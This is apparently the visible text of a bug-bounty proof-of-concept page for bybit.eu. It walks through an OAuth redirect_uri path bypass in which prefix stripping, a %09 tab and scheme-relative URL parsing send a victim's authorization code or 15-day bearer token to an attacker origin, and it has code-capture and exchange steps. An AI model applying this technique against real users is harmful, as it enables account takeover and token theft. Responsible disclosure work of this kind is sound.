Bybit EU — OAuth redirect_uri path bypass → authorization code theft

Vulnerability: /x-api/oauth/v1/private/authorize does not validate the path of redirect_uri
Attacker-side proof of concept · HackerOne bybit_fintech · asset *.bybit.eu
Authorised security testing. This page demonstrates a reported vulnerability using only the tester's own accounts. The chain is: unvalidated path → affiliates.bybit.com strips /v2 prefix → %09 (tab) decoded → WHATWG URL parser reads //attacker/… as scheme-relative → code arrives here.

Attack chain

1. Victim clicks link on bybit.eu (or just navigates — 0-click if already granted)
2. /oauth-authorized JS reads params, calls authorize API
3. Server mints code, returns redirect_uri with attacker path intact
4. Browser navigates to affiliates.bybit.com/v2/%09/ATTACKER/…?code=LIVE
5. Host strips /v2, emits Location: /<TAB>/ATTACKER/…?code=LIVE
6. WHATWG strips tab → //ATTACKER/…?code=LIVE = scheme-relative
7. Code arrives at attacker origin

Step 1 — Open the attack URL

While logged into www.bybit.eu with a Bybit Affiliates grant, click below. The /oauth-authorized page reads the URL params and calls the authorize endpoint. If the victim has already granted, no consent screen appears — code mints silently.

Open vulnerable OAuth flow

Payload URL:







 
Step 1b — Implicit flow (bearer token, no exchange needed)

 

  Same chain but with response_type=token. Returns a 15-day bearer token directly —
  no client_secret needed at all.
 

 

  
   Open implicit flow
  
 

 







 
Step 2 — Code capture

 

  When the redirect chain completes, the code arrives in the URL. It auto-fills below.
  You can also paste it manually.
 

 
 




Evidence chain


Exchange result


Raw response